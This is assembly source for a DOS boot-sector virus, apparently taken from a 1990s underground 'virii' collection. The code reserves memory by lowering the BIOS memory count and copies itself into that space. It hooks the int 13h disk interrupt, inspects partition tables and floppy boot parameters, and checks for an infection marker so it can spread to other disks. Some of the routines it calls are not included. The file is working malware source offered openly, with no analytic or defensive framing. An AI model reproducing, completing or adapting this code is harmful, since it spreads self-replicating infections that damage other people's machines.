Underground/Underground CD1.iso/virii/zrodla/b/boot1.asm

Assembly Source File | 1998-01-14 | 3.2 KB | 232 lines

    name    boot1_asm
    .radix    16

start:
    jmp    boot

    db    'IBM  3.3'
    dw    200
    db    2
    dw    1
    db    2
    dw    70
    dw    2D0
    db    0FDh
    dw    2
    dw    9
    dw    2
    dw    0

boot:
    xor    ax,ax
    mov    ss,ax
    mov    sp,7C00
    mov    ds,ax
    mov    ax,[413]
    sub    ax,2
    mov    [413],ax
    mov    cl,6
    shl    ax,cl
    sub    ax,7C0
    mov    es,ax
    mov    si,7C00
    mov    di,si
    mov    cx,100
    rep    movsw
    db    8E,0C8
;    mov    cs,ax
    push    cs
    pop    ds
    call    n_00014A
n_00014A:
    xor    ah,ah
    int    13
    and    byte ptr [7DF8],80
    mov    bx,[7DF9]
    push    cs
    pop    ax
    sub    ax,20
    mov    es,ax
    call    n_00019D
    mov    bx,[7DF9]
    inc    bx
    mov    ax,0FFC0
    mov    es,ax
    call    n_00019D
    xor    ax,ax
    mov    byte ptr [7DF7],al
    mov    ds,ax
    mov    ax,[4C]
    mov    bx,[4E]
    mov    [4C],7CD0
    mov    [4E],cs
    push    cs
    pop    ds
    mov    [7D2A],ax
    mov    [7D2C],bx
    mov    dl,byte ptr [7DF8]
    jmp    far ptr f_007C00

    mov    ax,301
    jmp    short n_0001A0
n_00019D:
    mov    ax,201
n_0001A0:
    xchg    ax,bx
    add    ax,[7C1C]
    xor    dx,dx
    div    word ptr [7C18]
    inc    dl
    mov    ch,dl
    xor    dx,dx
    div    word ptr [7C1A]
    mov    cl,6
    shl    ah,cl
    or    ah,ch
    mov    cx,ax
    xchg    ch,cl
    mov    dh,dl
    mov    ax,bx
n_0001C3:
    mov    dl,byte ptr [7DF8]
    mov    bx,8000
    int    13
    jnb    n_0001CF
    pop    ax
n_0001CF:
    ret

    push    ds
    push    es
    push    ax
    push    bx
    push    cx
    push    dx
    push    cs
    pop    ds
    push    cs
    pop    es
    test    byte ptr [7DF7],1
    jne    n_000223
    cmp    ah,2
    jne    n_000223
    cmp    byte ptr [7DF8],dl
    mov    byte ptr [7DF8],dl
    jne    n_000212
    xor    ah,ah
    int    1A
    test    dh,7F
    jne    n_000203
    test    dl,0F0
    jne    n_000203
    push    dx
    call    n_0003B3
    pop    dx
n_000203:
    mov    cx,dx
    sub    dx,[7EB0]
    mov    [7EB0],cx
    sub    dx,24
    jb    n_000223
n_000212:
    or    byte ptr [7DF7],1
    push    si
    push    di
    call    n_00022E
    pop    di
    pop    si
    and    byte ptr [7DF7],0FE
n_000223:
    pop    dx
    pop    cx
    pop    bx
    pop    ax
    pop    es
    pop    ds
    jmp    far ptr f_0C833E

n_00022E:
    mov    ax,201
    mov    dh,0
    mov    cx,1
    call    n_0001C3
    test    byte ptr [7DF8],80
    jz    n_000263
    mov    si,81BE
    mov    cx,4
n_000246:
    cmp    byte ptr [si+4],1
    je    n_000258
    cmp    byte ptr [si+4],4
    je    n_000258
    add    si,10
    loop    n_000246
    ret

n_000258:
    mov    dx,[si]
    mov    cx,[si+2]
    mov    ax,201
    call    n_0001C3
n_000263:
    mov    si,8002
    mov    di,7C02
    mov    cx,1C
    rep    movsb
    cmp    [81FC],1357
    jne    n_00028B
    cmp    byte ptr [81FBh],0
    jnb    n_00028A
    mov    ax,[81F5]
    mov    [7DF5],ax
    mov    si,[81F9]
    jmp    n_000392
n_00028A:
    ret

n_00028B:
    cmp    [800Bh],200
    jne    n_00028A
    cmp    byte ptr [800Dh],2
    jb    n_00028A
    mov    cx,[800E]
    mov    al,[8010]
    cbw
    mul    word ptr [8016]
    add    cx,ax
    mov    ax,20
    mul    word ptr [8011]
    add    ax,1FF
    mov    bx,200
    div    bx
    add    cx,ax
    mov    word ptr [7DF5],cx
    mov    ax,[7C13]
    sub    ax,[7DF5]
    mov    bl,[7C0Dh]
    xor    dx,dx
    xor    bh,bh
    div    bx
    inc    ax
    mov    di,ax
    and    byte ptr [7DF7],0FBh
    cmp    ax,0FF0
    jbe    n_0002E0
    or    byte ptr [7DF7],4
n_0002E0:
    mov    si,1
    mov    bx,[7C0E]
    dec    bx
    mov    [7DF3],bx
    mov    byte ptr [7EB2],0FE
    jmp    short n_000300

    db    1,0,0C,0,1,0,48,1,0,57,13

    dw    0AA55

n_000300:

    extrn    n_000392:near,n_0003B3:near
    extrn    f_007C00:far,f_0C833E:far